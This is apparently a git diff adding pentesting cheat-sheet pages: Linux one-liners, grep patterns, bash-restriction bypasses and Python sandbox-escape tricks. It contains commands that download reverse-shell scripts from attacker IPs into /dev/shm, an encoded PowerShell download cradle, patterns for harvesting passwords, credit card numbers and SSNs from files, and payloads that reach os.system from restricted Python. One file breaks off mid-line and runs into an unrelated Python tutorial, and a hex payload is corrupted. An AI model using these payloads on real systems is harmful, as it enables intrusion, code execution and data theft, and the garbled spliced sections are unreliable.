+#Echo without new line and Hex
+echo -n -e
+
+#Count
+wc -l #Lines
+wc -c #Chars
+
+#Sort
+sort -nr #Sort by number and then reverse
+cat file | sort | uniq #Sort and delete duplicates
+
+#Replace in file
+sed -i 's/OLD/NEW/g' path/file #Replace string inside a file
+
+#Download in RAM
+wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
+wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
+curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
+
+#Files used by network processes
+lsof -i #Files uses by networks processes
+lsof -i :80 #Files uses by networks processes
+fuser -nv tcp 80
+
+#Decompress
+tar -xvzf /path/to/yourfile.tgz
+tar -xvjf /path/to/yourfile.tbz
+bzip2 -d /path/to/yourfile.bz2
+tar jxf file.tar.bz2
+gunzip /path/to/yourfile.gz
+unzip file.zip
+7z -x file.7z
+sudo apt-get install xz-utils; unxz file.xz
+
+#Add new user
+useradd -p 'openssl passwd -1 ' hacker
+
+#Clipboard
+xclip -sel c < cat file.txt
+
+#HTTP servers
+python -m SimpleHTTPServer 80
+python3 -m http.server
+ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
+php -S $ip:80
+
+##Curl
+#json data
+curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint
+#Auth via JWT
+curl -X GET -H 'Authorization: Bearer ' http://host:3000/endpoint
+
+#Send Email
+sendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content
+
+#DD copy hex bin file without first X (28) bytes
+dd if=file.bin bs=28 skip=1 of=blob
+
+#Mount .vhd files (virtual hard drive)
+sudo apt-get install libguestfs-tools
+guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd
+
+## ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys
+ssh-keyscan 10.10.10.101
+
+## Openssl
+openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server
+openssl x509 -in ca.cert.pem -text #Read certificate
+openssl genrsa -out newuser.key 2048 #Create new RSA2048 key
+openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" (newuser@fortune.htb)
+openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate
+openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate
+openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox)
+## If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using:
+openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12
+# Decrypt ssh key
+openssl rsa -in key.ssh.enc -out key.ssh
+#Decrypt
+openssl enc -aes256 -k -d -in backup.tgz.enc -out b.tgz
+
+#Count number of instructions executed by a program, need a host based linux (not working in VM)
+perf stat -x, -e instructions:u "ls"
+
+##Find trick for HTB, find files from 2018-12-12 to 2018-12-14
+find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -ls 2>/dev/null
+
+#Reconfigure timezone
+sudo dpkg-reconfigure tzdata
+
+#Search from wich package is a binary
+apt-file search /usr/bin/file #Needed: apt-get install apt-file
+```
+
+## Bash for Windows
+
+```bash
+#Base64 for Windows
+echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
+
+#Exe compression
+upx -9 nc.exe
+
+#Exe2bat
+wine exe2bat.exe nc.exe nc.txt
+
+#Compile Windows python exploit to exe
+pip install pyinstaller
+wget -O exploit.py http://www.exploit-db.com/download/31853
+python pyinstaller.py --onefile exploit.py
+
+#Compile for windows
+i586-mingw32msvc-gcc -o executable useradd.c
+```
+
+## Greps
+
+```bash
+#Extract emails from file
+grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
+
+#Extract valid IP addresses
+grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt
+
+#Extract passwords
+grep -i "pwd\|passw" file.txt
+
+#Extract users
+grep -i "user\|invalid\|authentication\|login" file.txt
+
+## Extract hashes
+#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128})
+egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt
+#Extract valid MySQL-Old hashes
+grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt
+#Extract blowfish hashes
+grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt
+#Extract Joomla hashes
+egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt
+#Extract VBulletin hashes
+egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt
+#Extraxt phpBB3-MD5
+egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt
+#Extract Wordpress-MD5
+egrep -o '$P$S{31}' *.txt > wordpress-md5.txt
+#Extract Drupal 7
+egrep -o '$S$S{52}' *.txt > drupal-7.txt
+#Extract old Unix-md5
+egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt
+#Extract md5-apr1
+egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt
+#Extract sha512crypt, SHA512(Unix)
+egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt
+
+#Extract e-mails from text files
+grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt
+
+#Extract HTTP URLs from text files
+grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt
+#For extracting HTTPS, FTP and other URL format use
+grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt
+#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex"
+
+#Extract Floating point numbers
+grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt
+
+## Extract credit card data
+#Visa
+grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt
+#MasterCard
+grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt
+#American Express
+grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt
+#Diners Club
+grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt
+#Discover
+grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt
+#JCB
+grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt
+#AMEX
+grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt
+
+## Extract IDs
+#Extract Social Security Number (SSN)
+grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt
+#Extract Indiana Driver License Number
+grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt
+#Extract US Passport Cards
+grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt
+#Extract US Passport Number
+grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt
+#Extract US Phone Numberss
+grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
+#Extract ISBN Numbers
+egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
+```
+
+## Nmap search help
+
+```bash
+#Nmap scripts ((default or version) and smb))
+nmap --script-help "(default or version) and *smb*"
+locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
+nmap --script-help "(default or version) and smb)"
+```
+
+## Bash
+
+```bash
+#All bytes inside a file (except 0x20 and 0x00)
+for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
+```
+
+## Iptables
+
+```bash
+#Delete curent rules and chains
+iptables --flush
+iptables --delete-chain
+
+#allow loopback
+iptables -A INPUT -i lo -j ACCEPT
+iptables -A OUTPUT -o lo -j ACCEPT
+
+#drop ICMP
+iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP
+iptables -A OUTPUT -p icmp -j DROP
+
+#allow established connections
+iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
+
+#allow ssh, http, https, dns
+iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT
+iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
+iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
+iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT
+iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT
+iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
+iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT
+
+#default policies
+iptables -P INPUT DROP
+iptables -P FORWARD ACCEPT
+iptables -P OUTPUT ACCEPT
+```
+
diff --git a/linux-unix/useful-linux-commands/bypass-bash-restrictions.md b/linux-unix/useful-linux-commands/bypass-bash-restrictions.md
new file mode 100644
index 00000000..40e801a5
--- /dev/null
+++ b/linux-unix/useful-linux-commands/bypass-bash-restrictions.md
@@ -0,0 +1,88 @@
+# Bypass Bash Restrictions
+
+## Bypass Paths and forbidden commands
+
+```bash
+#Bash substitudes * fror any possible chat tha refers to a binary in the folder
+/usr/bin/p?ng #This equals /usr/bin/ping
+
+#Bash substitudes * fror any compatible combination with a binary in the folder
+/usr/bin/who*mi #This equals /usr/bin/whoami
+
+#[chars]
+/usr/bin/n[c] #/usr/bin/nc
+
+#Concatenatipn
+'p'i'n'g #Equals to call ping
+"w"h"o"a"m"i
+\u\n\a\m\e \-\a
+
+#Uninitialized variables: A uninitialized variable equals to null (nothing)
+p${u}i${u}n${u}g #Equals to ping, use {} to put the uninitialized variables between valid characteres
+cat$u /etc$u/passwd$u #Use the uninitilized variable without {} before any symbol
+
+#Fake commands
+p$(u)i$(u)n$(u)g #Equals to ping but 3 errors trying to exeute "u" are shown
+w`u`h`u`o`u`a`u`m`u`i #Equals to whoami but 5 errors trying to exeute "u" are shown
+
+#Concating strings using history
+!-1 #This will be substitude by the last command executed, and !-2 by the penultimate command
+mi #This will throw an error
+whoa #This will throw an error
+!-1!-2 #This will execute whoami
+
+```
+
+## Bypass forbidden spaces
+
+```bash
+##{form}
+{cat,lol.txt} #This will cat the file
+
+##IFS - Internal field separator, change " " for any othe character ("]" in this case)
+#IFS withut modifications
+cat${IFS}/etc/passwd
+cat$IFS/etc/passwd
+
+#Put the command line in a variable and then execute it
+IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
+IFS=];b=cat]/etc/passwd;$b #Using 2 ";"
+IFS=,;`cat<< Accedemos al atributo de la clase
+ MITPerson.nextIdNum += 1 #Attribute of the class +1
+
+ def __it__(self, other):
+ return self.idNum < other.idNum
+```
+
+### map, zip, filter, lambda, sorted and one-liners
+
+**Map** is like: \[f\(x\) for x in iterable\] --> map\(tutple,\[a,b\]\) = \[\(1,2,3\),\(4,5\)\]
+m = map\(lambda x: x % 3 == 0, \[1, 2, 3, 4, 5, 6, 7, 8, 9\]\) --> \[False, False, True, False, False, True, False, False, True\]
+
+**zip** stops when the shorter of foo or bar stops:
+
+```text
+for f, b in zip(foo, bar):
+ print(f, b)
+```
+
+**Lambda** is used to define a function
+\(lambda x,y: x+y\)\(5,3\) = 8 --> Use lambda as simple **function**
+**sorted**\(range\(-5,6\), key=lambda x: x\*\* 2\) = \[0, -1, 1, -2, 2, -3, 3, -4, 4, -5, 5\] --> Use lambda to sort a list
+m = **filter**\(lambda x: x % 3 == 0, \[1, 2, 3, 4, 5, 6, 7, 8, 9\]\) = \[3, 6, 9\] --> Use lambda to filter
+**reduce** \(lambda x,y: x\*y, \[1,2,3,4\]\) = 24
+
+```text
+def make_adder(n):
+ return lambda x: x+n
+plus3 = make_adder(3)
+plus3(4) = 7 # 3 + 4 = 7
+
+class Car:
+ crash = lambda self: print('Boom!')
+my_car = Car(); my_car.crash() = 'Boom!'
+```
+
+mult1 = \[x for x in \[1, 2, 3, 4, 5, 6, 7, 8, 9\] if x%3 == 0 \]
+
+### Exceptions
+
+```text
+def divide(x,y):
+ try:
+ result = x/y
+ except ZeroDivisionError, e:
+ print “division by zero!” + str(e)
+ except TypeError:
+ divide(int(x),int(y))
+ else:
+ print “result i”, result
+ finally
+ print “executing finally clause in any case”
+```
+
+### Assert\(\)
+
+If the condition is false the string will by printed in the screen
+
+```text
+def avg(grades, weights):
+ assert not len(grades) == 0, 'no grades data'
+ assert len(grades) == 'wrong number grades'
+```
+
+### Generators, yield
+
+A generator, instead of returning something, it "yields" something. When you access it, it will "return" the first value generated, then, you can access it again and it will return the next value generated. So, all the values are not generated at the same time and a lot of memory could be saved using this instead of a list with all the values.
+
+```text
+def myGen(n):
+ yield n
+ yield n + 1
+```
+
+g = myGen\(6\) --> 6
+next\(g\) --> 7
+next\(g\) --> Error
+
+### Regular Expresions
+
+import re
+re.search\("\w","hola"\).group\(\) = "h"
+re.findall\("\w","hola"\) = \['h', 'o', 'l', 'a'\]
+re.findall\("\w+\(la\)","hola caracola"\) = \['la', 'la'\]
+
+**Special meanings:**
+. --> Everything
+\w --> \[a-zA-Z0-9\_\]
+\d --> Number
+\s --> WhiteSpace char\[ \n\r\t\f\]
+\S --> Non-whitespace char
+^ --> Starts with
+$ --> Ends with
++ --> One or more
+\* --> 0 or more
+? --> 0 or 1 occurrences
+
+**Options:**
+re.search\(pat,str,re.IGNORECASE\)
+IGNORECASE
+DOTALL --> Allow dot to match newline
+MULTILINE --> Allow ^ and $ to match in different lines
+
+re.findall\("<.\*>", "<b>foo</b>and<i>so on</i>"\) = \['<b>foo</b>and<i>so on</i>'\]
+re.findall\("<.\*?>", "<b>foo</b>and<i>so on</i>"\) = \['<b>', '</b>', '<i>', '</i>'\]
+
+IterTools
+**product**
+from **itertools** import product --> Generates combinations between 1 or more lists, perhaps repeating values, cartesian product \(distributive property\)
+print list\(**product**\(\[1,2,3\],\[3,4\]\)\) = \[\(1, 3\), \(1, 4\), \(2, 3\), \(2, 4\), \(3, 3\), \(3, 4\)\]
+print list\(**product**\(\[1,2,3\],repeat = 2\)\) = \[\(1, 1\), \(1, 2\), \(1, 3\), \(2, 1\), \(2, 2\), \(2, 3\), \(3, 1\), \(3, 2\), \(3, 3\)\]
+
+**permutations**
+from **itertools** import **permutations** --> Generates combinations of all characters in every position
+print list\(permutations\(\['1','2','3'\]\)\) = \[\('1', '2', '3'\), \('1', '3', '2'\), \('2', '1', '3'\),... Every posible combination
+print\(list\(permutations\('123',2\)\)\) = \[\('1', '2'\), \('1', '3'\), \('2', '1'\), \('2', '3'\), \('3', '1'\), \('3', '2'\)\] Every posible combination of lenght 2
+
+**combinations**
+from itertools import **combinations** --> Generates all possible combinations without repeating characters \(if "ab" existing, doesn't generate "ba"\)
+print\(list\(**combinations**\('123',2\)\)\) --> \[\('1', '2'\), \('1', '3'\), \('2', '3'\)\]
+
+**combinations\_with\_replacement**
+from itertools import **combinations\_with\_replacement** --> Generates all possible combinations from the char onwards\(for example, the 3rd is mixed from the 3rd onwards but not with the 2nd o first\)
+print\(list\(**combinations\_with\_replacement**\('1133',2\)\)\) = \[\('1', '1'\), \('1', '1'\), \('1', '3'\), \('1', '3'\), \('1', '1'\), \('1', '3'\), \('1', '3'\), \('3', '3'\), \('3', '3'\), \('3', '3'\)\]
+
+### Decorators
+
+Decorator that size the time that a function needs to be executed \(from [here](https://towardsdatascience.com/decorating-functions-in-python-619cbbe82c74)\):
+
+```python
+from functools import wraps
+import time
+def timeme(func):
+ @wraps(func)
+ def wrapper(*args, **kwargs):
+ print("Let's call our decorated function")
+ start = time.time()
+ result = func(*args, **kwargs)
+ print('Execution time: {} seconds'.format(time.time() - start))
+ return result
+ return wrapper
+
+@timeme
+def decorated_func():
+ print("Decorated func!")
+```
+
+If you run it, you will see something like the following:
+
+```text
+Let's call our decorated function
+Decorated func!
+Execution time: 4.792213439941406e-05 seconds
+```
+
diff --git a/misc/basic-python/bruteforce-hash-few-chars.md b/misc/basic-python/bruteforce-hash-few-chars.md
new file mode 100644
index 00000000..d86532ec
--- /dev/null
+++ b/misc/basic-python/bruteforce-hash-few-chars.md
@@ -0,0 +1,16 @@
+# Bruteforce hash \(few chars\)
+
+```python
+import hashlib
+
+target = '2f2e2e' #/..
+candidate = 0
+while True:
+ plaintext = str(candidate)
+ hash = hashlib.md5(plaintext.encode('ascii')).hexdigest()
+ if hash[-1*(len(target)):] == target: #End in target
+ print('plaintext:"' + plaintext + '", md5:' + hash)
+ break
+ candidate = candidate + 1
+```
+
diff --git a/misc/basic-python/bypass-python-sandboxes.md b/misc/basic-python/bypass-python-sandboxes.md
new file mode 100644
index 00000000..4855c21f
--- /dev/null
+++ b/misc/basic-python/bypass-python-sandboxes.md
@@ -0,0 +1,299 @@
+# Bypass Python sandboxes
+
+These are some tricks to bypass python sandbox protections and execute arbitrary commands.
+
+## Command Execution Libraries
+
+The first thing you need to know is if you can directly execute code with some already imported library, or if you could import any of these libraries:
+
+```python
+os.system("ls")
+os.popen("ls").read()
+commands.getstatusoutput("ls")
+commands.getoutput("ls")
+commands.getstatus("file/path")
+subprocess.call("ls", shell=True)
+subprocess.Popen("ls", shell=True)
+pty.spawn("ls")
+pty.spawn("/bin/bash")
+platform.popen("ls").read()
+
+#Other interesting functions
+open("/etc/passwd").read()
+open('/var/www/html/input', 'w').write('123')
+```
+
+Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox.
+Python2 **input\(\)** function allows to execute python code before the program crashes.
+
+### Importing
+
+```python
+import os
+from os import *
+__import__('os').system("ls")
+```
+
+If **`sys`**module is present, you can use it to access **`os`**library for example:
+
+```python
+sys.modules["os"].system("ls")
+```
+
+You can also import libraries and any file is using **`execfile()`** \(python2\):
+
+```python
+execfile('/usr/lib/python2.7/os.py')
+system('ls')
+```
+
+Python try to **load libraries from the current directory first**: `python3 -c 'import sys; print(sys.path)'`
+
+## Executing python code
+
+This is really interesting if some characters are forbidden because you can use the **hex/octal/B64** representation to **bypass** the restriction:
+
+```python
+exec("print('RCE'); __import__('os').system('ls')") #Using ";"
+exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
+eval("__import__('os').system('ls')") #Eval doesn't allow ";"
+eval(compile('print("hello world"); print("heyy")', '', 'exec')) #This way eval accept ";"
+__import__('timeit').timeit("__import__('os').system('ls')",number=1)
+#One liners that allow new lines and tabs
+eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '', 'exec'))
+exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '', 'exec'))
+```
+
+```python
+#Octal
+exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
+#Hex
+exec("\x5f\x5f\x69\x6d\xIf youca70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
+#Base64
+exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
+exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
+```
+
+### Compiling
+
+In a previous example you can see how to execute any python code using the `compile` function. This is really interesting because you can execute whole scripts with loops and everything in a one liner \(and we could do the same using `exec`\).
+Anyway, sometimes it could be useful to **create** a **compiled object** in a local machine and execute it in the **CTF** \(for example because we don't have the `compile` function in the CTF\).
+
+For example, let's compile and execute manually a function that reads _./poc.py_:
+
+```python
+#Locally
+def read():
+ return open("./poc.py",'r').read()
+
+read.__code__.co_code
+'t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
+```
+
+```python
+#On Remote
+function_type = type(lambda: None)
+code_type = type((lambda: None).__code__) #Get
+consts = (None, "./poc.py", 'r')
+bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
+names = ('open','read')
+
+# And execute it using eval/exec
+eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ()))
+
+#You could also execut it directly
+import __builtin__
+mydict = {}
+mydict['__builtins__'] = __builtin__
+codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ())
+function_type(codeobj, mydict, None, None, None)()
+```
+
+If you cannot access `eval` or `exec` you could create a **proper function**, but calling it directly is usually going to fail with: _constructor not accessible in restricted mode_. So you need a **function not in the restricted environment call this function.**
+
+```python
+#Compile a regular print
+ftype = type(lambda: None)
+ctype = type((lambda: None).func_code)
+f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
+f(42)
+```
+
+## Builtins
+
+[Builtins functions of python2
+](https://docs.python.org/2/library/functions.html)[Builtins functions of python3](https://docs.python.org/3/library/functions.html)
+
+If you can access to the**`__builtins__`** object you can import libraries \(notice that you could also use here other string representation showed in last section\):
+
+```python
+__builtins__.__dict__['__import__']("os").system("ls")
+```
+
+### No Builtins
+
+When you don't have \_\_builtins\_\_ you are not going to be able to import anything nor even read or write files. But there is a way to take that functionality back:
+
+**Python2**
+
+```python
+#Try to reload __builtins__
+reload(__builtins__)
+import __builtin__
+
+# Read recovering in offset 40
+().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
+# Write recovering in offset 40
+().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
+
+# Execute recovering __import__ (class 59s is )
+().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
+# Execute (another method)
+().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
+# Execute recovering eval symbol (class 59 is )
+().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
+
+# Or you could recover __builtins__ in make eveything easier
+__builtins__=([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__)
+__builtins__["__import__"]('os').system('ls')
+
+# Or you could obtain the builtins from a defined function
+get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
+```
+
+#### Python3
+
+```python
+# Obtain the builtins from a defined function
+get_flag.__globals__['__builtins__'].__import__("os").system("ls")
+```
+
+### Finding types
+
+```python
+''.__class__ #
+str.__class__ #
+str.__class__('') #
+().__class__.__base__.__subclasses__() #Several types
+().__class__.__bases__[0].__subclasses__()#Several types
+```
+
+## Dissecting functions
+
+In some CTFs you could be provided the name of a custom function where the flag resides and you need to see the internals of the function to extract it.
+
+This is the function to inspect:
+
+```python
+def get_flag(some_input):
+ var1=1
+ var2="secretcode"
+ var3=["some","array"]
+ if some_input == var2:
+ return "THIS-IS-THE-FALG!"
+ else:
+ return "Nope"
+```
+
+#### dir
+
+```python
+dir() #General dir() to find what we have loaded
+['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
+dir(get_flag) #Get info tof the function
+['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
+```
+
+#### globals
+
+`__globals__` and `func_globals`\(Same\) Obtains the global environment. In the example you can see some imported modules, some global variables and their content declared:
+
+```python
+get_flag.func_globals
+get_flag.__globals__
+{'b': 3, 'names': ('open', 'read'), '__builtins__': , 'codeobj': at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': , 'filename': './poc.py', '__package__': None, 'read': , 'code': , 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': , '__name__': '__main__', 'foo': , '__doc__': None, 'dis': }
+
+#If you have access to some variable value
+CustomClassObject.__class__.__init__.__globals__
+```
+
+`__code__` and `func_code`: You can access this to obtain some internal data of the function
+
+```python
+#Get the options
+dir(get_flag.func_code)
+['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
+#Get internal varnames
+get_flag.func_code.co_varnames
+('some_input', 'var1', 'var2', 'var3')
+#Get the value of the vars
+get_flag.func_code.co_consts
+(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')
+#Get bytecode
+get_flag.func_code.co_code
+'d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
+```
+
+**Disassembly a function**
+
+```python
+import dis
+dis.dis(get_flag)
+ 2 0 LOAD_CONST 1 (1)
+ 3 STORE_FAST 1 (var1)
+
+ 3 6 LOAD_CONST 2 ('secretcode')
+ 9 STORE_FAST 2 (var2)
+
+ 4 12 LOAD_CONST 3 ('some')
+ 15 LOAD_CONST 4 ('array')
+ 18 BUILD_LIST 2
+ 21 STORE_FAST 3 (var3)
+
+ 5 24 LOAD_FAST 0 (some_input)
+ 27 LOAD_FAST 2 (var2)
+ 30 COMPARE_OP 2 (==)
+ 33 POP_JUMP_IF_FALSE 40
+
+ 6 36 LOAD_CONST 5 ('THIS-IS-THE-FALG!')
+ 39 RETURN_VALUE
+
+ 8 >> 40 LOAD_CONST 6 ('Nope')
+ 43 RETURN_VALUE
+ 44 LOAD_CONST 0 (None)
+ 47 RETURN_VALUE
+```
+
+Notice that **if you cannot import `dis` in the python sandbox** you can obtain the **bytecode** of the function \(`get_flag.func_code.co_code`\) and **disassemble** it locally. You won't see the content of the variables being loaded \(`LOAD_CONST`\) but you can guess them from \(`get_flag.func_code.co_consts`\) because `LOAD_CONST`also tells the offset of the variable being loaded.
+
+```python
+dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
+ 0 LOAD_CONST 1 (1)
+ 3 STORE_FAST 1 (1)
+ 6 LOAD_CONST 2 (2)
+ 9 STORE_FAST 2 (2)
+ 12 LOAD_CONST 3 (3)
+ 15 LOAD_CONST 4 (4)
+ 18 BUILD_LIST 2
+ 21 STORE_FAST 3 (3)
+ 24 LOAD_FAST 0 (0)
+ 27 LOAD_FAST 2 (2)
+ 30 COMPARE_OP 2 (==)
+ 33 POP_JUMP_IF_FALSE 40
+ 36 LOAD_CONST 5 (5)
+ 39 RETURN_VALUE
+ >> 40 LOAD_CONST 6 (6)
+ 43 RETURN_VALUE
+ 44 LOAD_CONST 0 (0)
+ 47 RETURN_VALUE
+```
+
+## References
+
+* [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
+* [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)
+* [https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/](https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/)
+* [https://gynvael.coldwind.pl/n/python\_sandbox\_escape](https://gynvael.coldwind.pl/n/python_sandbox_escape)
+
+\*\*\*\*
+
diff --git a/misc/basic-python/magic-methods.md b/misc/basic-python/magic-methods.md
